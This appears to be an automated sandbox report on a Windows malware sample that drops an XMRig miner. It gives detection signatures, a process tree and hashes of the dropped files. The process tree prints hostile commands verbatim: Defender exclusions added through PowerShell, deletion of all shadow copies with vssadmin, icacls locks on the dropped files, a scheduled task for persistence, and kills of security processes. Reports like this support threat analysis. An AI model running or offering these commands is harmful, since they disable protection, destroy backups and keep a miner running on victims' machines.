Analysis

  • max time kernel
    148s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 07:42

General

  • Target
    2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 3.2MB
  • Sample260808-jjqs3acd57
  • SHA256 6b714ccf0f1076f5129a1c06fe5d07bc37750cd960f02e8c540543c435e2e42c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

  • Creates a file in the Startup directory 1 TTPs 3 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Power Settings 1 TTPs 1 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 2 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 3 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Sound\unistall.vbs"
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /k unistall.bat
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2792
        • C:\Users\Admin\AppData\Roaming\Sound\ntrights.exe
          ntrights -u Admin +r SeLockMemoryPrivilege
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:5964
        • C:\Windows\system32\powercfg.exe
          powercfg.exe /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Force | Out-Null"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\Sound' -Value 0 -PropertyType DWord -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\runtime' -Value 0 -PropertyType DWord -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2776
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\Users\Admin\AppData\Roaming\Sound' -Value 0 -PropertyType DWord -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Sound','C:\runtime','C:\Users\Admin\AppData\Roaming\Sound' -ErrorAction SilentlyContinue"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4780
        • C:\Windows\system32\timeout.exe
          timeout /t 5 /nobreak
          4⤵
          • Delays execution with timeout.exe
          PID:4932
        • C:\Windows\system32\attrib.exe
          attrib +H system.bat
          4⤵
          • Views/modifies file attributes
          PID:2920
        • C:\Windows\system32\attrib.exe
          attrib +H system.vbs
          4⤵
          • Views/modifies file attributes
          PID:2148
        • C:\Windows\system32\icacls.exe
          icacls C:\Sound\system.bat /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
          4⤵
          • Modifies file permissions
          PID:1760
        • C:\Windows\system32\icacls.exe
          icacls C:\Sound\system.bat /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
          4⤵
          • Modifies file permissions
          PID:4148
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value" 2>nul
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "(Get-Content 'C:\Sound\system.xml') -replace '22', 'S-1-5-21-1738198120-2966725515-3980530802-1000' | Out-File -Encoding ASCII 'C:\Sound\system.xml'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2556
        • C:\Windows\system32\schtasks.exe
          SchTasks /Create /TN "audio system" /XML "C:\Sound\system.xml" /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1968
        • C:\Windows\system32\tskill.exe
          tskill Monitor
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4168
        • C:\Windows\system32\tskill.exe
          tskill smBootTime
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:880
        • C:\Windows\system32\tskill.exe
          tskill Suo12_StartupManager
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3216
        • C:\Windows\system32\tskill.exe
          tskill RealTimeProtector
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2604
        • C:\Windows\system32\PING.EXE
          ping -n 50 localhost
          4⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:5976
        • C:\Windows\system32\attrib.exe
          attrib +H C:\runtime\audio.exe
          4⤵
          • Views/modifies file attributes
          PID:4692
        • C:\Windows\system32\attrib.exe
          attrib +H C:\runtime
          4⤵
          • Views/modifies file attributes
          PID:52
        • C:\Windows\system32\attrib.exe
          attrib +H C:\Sound
          4⤵
          • Views/modifies file attributes
          PID:2300
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:5504
        • C:\Windows\system32\cmd.exe
          cmd /c del "C:\Users\Admin\AppData\Roaming\Sound\unistall.bat"
          4⤵
            PID:2420
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Sound\audio.vbs"
        2⤵
        • Creates a file in the Startup directory
        • Executes a VBScript file via the Windows Script Host.
        • Modifies registry class
        PID:1736
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Sound\update.vbs"
      1⤵
      • Creates a file in the Startup directory
      • Executes a VBScript file via the Windows Script Host.
      • Modifies registry class
      PID:3964
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\runtime\system1.vbs"
      1⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:5636
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\runtime\system1.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5140
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq audio.exe"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4152
          • C:\Windows\system32\tasklist.exe
            tasklist /NH /FI "imagename eq audio.exe"
            4⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4648
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c mouse.bat position
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5216
          • C:\runtime\mouse.exe
            mouse.exe position
            4⤵
            • Executes dropped EXE
            PID:5348
        • C:\Windows\system32\timeout.exe
          timeout 2
          3⤵
          • Delays execution with timeout.exe
          PID:4924
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c mouse.bat position
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4536
          • C:\runtime\mouse.exe
            mouse.exe position
            4⤵
            • Executes dropped EXE
            PID:5576
        • C:\Windows\system32\taskkill.exe
          TASKKILL /F /IM audio.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2460
        • C:\Windows\system32\PING.EXE
          ping -n 600 localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:1492
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4412

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          system.xml

          • Path C:\Sound\system.xml
          • Size 1KB
          • SHA256 70320c8be13907a907ef184dfbe084280c8be11cf9097cbf2b5c409d9a68028c
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 f1e5d82b5a189ea2be5bcb97eaf21b4ff8cb785bf14b9b7d0c3532a3cd068d60
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 7687942aa7b74df86b7b7cb99d4f30530c568eae05c9225a7e4a7f6344e68a4c
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b4d2605b3421911dd23b203ceda3c674f6e4c59b93f9c9d10ef548e2461a3151
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 aef8b020212d19e8c6e52e5f91f96126439e9399bc7e0a9ef369ab991df7b2fa
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_vqfqppcl.qpe.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vqfqppcl.qpe.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          system.lnk

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk
          • Size 493B
          • SHA256 a9994737c48fd6555f4dcf889489d1287a83fa73ea1c1a68e54e8da25665d094
          • MD5 SHA1 SHA512 TLSH

          7za.dll

          • Path C:\Users\Admin\AppData\Roaming\Sound\7za.dll
          • Size 263KB
          • SHA256 bd377ba96ff8d3cbaea98190c8a60f32dc9d64dd44eed9aade05d3a74d935701
          • MD5 SHA1 SHA512 SSDEEP TLSH

          7za.exe

          • Path C:\Users\Admin\AppData\Roaming\Sound\7za.exe
          • Size 722KB
          • SHA256 ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          7zxa.dll

          • Path C:\Users\Admin\AppData\Roaming\Sound\7zxa.dll
          • Size 155KB
          • SHA256 d0680ac62e94f953df031533acd0acb718ad8494f938d84198c655507709e5df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          WinIo64.sys

          • Path C:\Users\Admin\AppData\Roaming\Sound\WinIo64.sys
          • Size 15KB
          • SHA256 7fa19d4b2b160ca3f2decde3d7c7d867527c96f3511a9dbecc898cfc14614638
          • MD5 SHA1 SHA512 SSDEEP TLSH

          WinRing0x64.sys

          • Path C:\Users\Admin\AppData\Roaming\Sound\WinRing0x64.sys
          • Size 14KB
          • SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          audio.vbs

          • Path C:\Users\Admin\AppData\Roaming\Sound\audio.vbs
          • Size 557B
          • SHA256 5b8e951c7a7c2e23092fb1bcdcb59d03a4f3896860a267c41189fedccb83314f
          • MD5 SHA1 SHA512 TLSH

          downtrj.bat

          • Path C:\Users\Admin\AppData\Roaming\Sound\downtrj.bat
          • Size 125B
          • SHA256 c2b28533e93e1f7e9bef9146157d3164aa4adf4c3d673374412a11d68d11ffb2
          • MD5 SHA1 SHA512 TLSH

          gtservices.exe

          • Path C:\Users\Admin\AppData\Roaming\Sound\gtservices.exe
          • Size 6.2MB
          • SHA256 6fa80698d7268f6e88aa88c06fb27ee99e1bcee747c2e76911e6206a5b1aeeb3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          mouse.bat

          • Path C:\Users\Admin\AppData\Roaming\Sound\mouse.bat
          • Size 15KB
          • SHA256 e7def58a604a5941fec7006b4b926e761ec2dd06d04386a17a6814193b5db3d4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          mouse.exe

          • Path C:\Users\Admin\AppData\Roaming\Sound\mouse.exe
          • Size 11KB
          • SHA256 3c0dab67b9465868d4b87a7d77f8e2f72189f6891a90116ad861062ef551d80d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntrights.exe

          • Path C:\Users\Admin\AppData\Roaming\Sound\ntrights.exe
          • Size 31KB
          • SHA256 f46baa1b6227226518e42263e9b4808f81c27d060207df160f9ac64deae4f4f5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.bat

          • Path C:\Users\Admin\AppData\Roaming\Sound\system.bat
          • Size 1KB
          • SHA256 9715577492ea197be17d845ad7fa5380b1eb647abf7875f09c103c715fc1458e
          • MD5 SHA1 SHA512 TLSH

          system.vbs

          • Path C:\Users\Admin\AppData\Roaming\Sound\system.vbs
          • Size 75B
          • SHA256 f1693021ac9058a21c7c2836f38aa4c3e35c34cacb61ecbe6844ea46d3222a08
          • MD5 SHA1 SHA512 TLSH

          system.xml

          • Path C:\Users\Admin\AppData\Roaming\Sound\system.xml
          • Size 1KB
          • SHA256 5f7c23a09a8d328835b7b2e9151e43d6a4186638e901e54ad69abe5a0ad42993
          • MD5 SHA1 SHA512 TLSH

          system1.bat

          • Path C:\Users\Admin\AppData\Roaming\Sound\system1.bat
          • Size 765B
          • SHA256 154966432e7b1062f9251b94e6157d2528c91617966e3d119145bb2e717d3ea7
          • MD5 SHA1 SHA512 TLSH

          system1.vbs

          • Path C:\Users\Admin\AppData\Roaming\Sound\system1.vbs
          • Size 130B
          • SHA256 46bec4bc61118e565c2a4e08b19bafef7cec2002f17c7e8dabdd9c41798fe560
          • MD5 SHA1 SHA512 TLSH

          unistall.bat

          • Path C:\Users\Admin\AppData\Roaming\Sound\unistall.bat
          • Size 6KB
          • SHA256 4eabc67e67ba6ce6d5c3a49428011a7c7c0daaeb1f172cda732428c73d29e8b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unistall.vbs

          • Path C:\Users\Admin\AppData\Roaming\Sound\unistall.vbs
          • Size 79B
          • SHA256 ffd8e49aebf15ac2ead62900000d22e7f4289d9a665204553aec17ec1b14fbe0
          • MD5 SHA1 SHA512 TLSH

          update.vbs

          • Path C:\Users\Admin\AppData\Roaming\Sound\update.vbs
          • Size 2KB
          • SHA256 73987bd981bd967a3cf35ded2b2b158ee1b5a388c2ba24b6dd5a8d0b03489c6f
          • MD5 SHA1 SHA512 TLSH

          wget.vbs

          • Path C:\Users\Admin\AppData\Roaming\Sound\wget.vbs
          • Size 2KB
          • SHA256 abd498d8a265116de034a8cbc7c2fc40a312dfe5b2c4161bd46cbaa93d187ed2
          • MD5 SHA1 SHA512 TLSH

          memory/4780-78-0x000001F5C6CE0000-0x000001F5C6CFE000-memory.dmp

          memory/4780-79-0x000001F5C6F40000-0x000001F5C6FF2000-memory.dmp

          memory/4780-80-0x000001F5C6D00000-0x000001F5C6D0A000-memory.dmp

          memory/5348-112-0x0000000000440000-0x000000000044A000-memory.dmp

          memory/6088-59-0x000002546B8A0000-0x000002546B8C2000-memory.dmp